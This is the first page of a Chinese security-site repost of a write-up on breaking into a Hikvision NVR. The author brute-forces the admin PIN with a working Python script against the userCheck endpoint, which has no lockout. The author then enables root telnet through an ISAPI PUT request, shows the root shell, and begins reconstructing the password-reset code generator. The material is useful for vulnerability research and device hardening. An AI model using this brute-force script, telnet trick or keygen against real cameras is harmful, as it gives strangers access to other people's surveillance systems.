欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

看我如何重置海康威视IP摄像机的管理员密码

来源:本站整理 作者:佚名 时间:2018-08-23 TAG: 我要投稿

我们经常在网上看到某某通用IP摄像机被黑客利用的新闻。大多数情况下,制造商并不会强制用户设置安全密码,通常您可以使用默认密码直接登录。但有些厂商与众不同——海康威视。首次登录时使用密码是12345,但接下来会强制您更改密码。这难道可以阻止攻击者访问设备吗?然而并没有。第一次我开始测试海康威视DS-7604NI-E1 NVR的安全性时,因为我忘记了我设置的登录密码。谷歌告诉我可以使用海康威视的Search Active Devices Protocol工具,该工具除了可以扫描子网上的设备功能外,还可以选择重置设备的管理员密码。当我安装该工具并选择Forgot Password选项时,它会提示我输入一个安全密钥,但是我没有什么安全密钥。

开始
所以这对我没什么卵用——我需要另一种方法进入。我可以在80端口上访问管理面板。使用Burp Suite拦截流量,并发现当用户尝试登录时,发现当用户试图登录时,会向位于/PSIA/Custom/SelfExt/userCheck的端点发出XHR GET请求。用户名和密码包含在内。该请求将返回带有字段的XML文档,如果验证失败则返回401,如果成功则返回200。我依稀记得那个pin只能包含数字,大概是5-6位数。此外,如果您输入错误的pin太多次,也不会锁定。这为爆破提供条件。了解这些之后,我用Python中创建了一个脚本,它只是遍历一系列pin码并检查响应:
from requests import get
from base64 import b64encode
url = 'http://192.168.1.133/PSIA/Custom/SelfExt/userCheck'
for i in range(10000, 999999):
    atoken = b64encode(b"admin:%i" % i)
    auth = ("Basic %s" % atoken.decode("utf-8"))
    r = get(url, headers={'Authorization': auth})
    if "401" not in r.text:
        print(f"Found pin: {i}")
        break
大约30秒内我找到了我的密码。
好戏才开始
然而,密码重置选项引起了我的兴趣——如何在系统上检查代码?是否可以在本地生成它?为了找到这个答案,我需要设备上的二进制文件。幸运的是,一旦拥有管理员密码,就可以轻松获得对设备的root访问权限:您只需将一个PUT请求发送到/ISAPI/System/Network/telnetd的端点,并使用以下数据:
Telnetd>
    enabled>trueenabled>
Telnetd>
这将启用telnet守护程序,您可以将其连接并以root管理员身份登录。进入busybox shell:
$ telnet 192.168.1.133
Trying 192.168.1.133...
Connected to 192.168.1.133.
Escape character is '^]'.
dvrdvs login: root
Password:
BusyBox v1.16.1 (2014-05-19 09:41:10 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
can not change to guest!
[root@dvrdvs /] #
经过一些基本的枚举尝试后,我发现当设备启动时,位于/home/hik/start.sh的脚本将执行,它向/home/app提取一些二进制文件,设置一些内容并最终执行二进制文件/home/app/hicore。考虑到它的大小,似乎正是我正在寻找的,所以我使用FTP将其上传到我的PC并运行。仅从输出结果来看,似乎这个二进制文件几乎负责所有事情:托管网络前端,后端,与SADP通信,检查密码,驱动连接的摄像头等。使用IDA打开,搜索的字符串security code,我发现Invalid security code的引用以及在0x9C0E6D对Default password of 'admin' restored的引用,这似乎是我一直在寻找:

这些由0xC51C0的子程序引用,如下所示:

从无效的密码分支向后查找,我们发现似乎它比较了两个字符串,其中一个是由0xC2D04处的子程序产生的, 另一个可能是用户输入。0xC2D04的子程序如下所示:

通过查看反汇编代码,很明显这是一个函数,它接受两个参数,一个作为种子的字符输入数组和指向输出位置的指针 ——从种子生成代码。我们接下来就会了解输入内容是什么了。现在,我们可以通过使用Hex-Rays生成函数的伪代码来看看:

看起来好像它为遍历输入,使用for循环生成一个数(由IDA命名为v5),使用循环计数器生成一些非常基本的算术(乘法和XOR)以及每个字符的数值。我们可以用Python表示如下:
def keygen(seed):
    magic = 0
    for i, char in enumerate(seed):
        i += 1
        magic += i * ord(char) ^ i
然后将其乘以硬编码的数字1751873395,并将其格式化为字符串作为无符号long。在Python中,我们可以使用numpy来表示:
from numpy import uint32
[...]
    secret = str(uint32(1751873395 * magic))

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载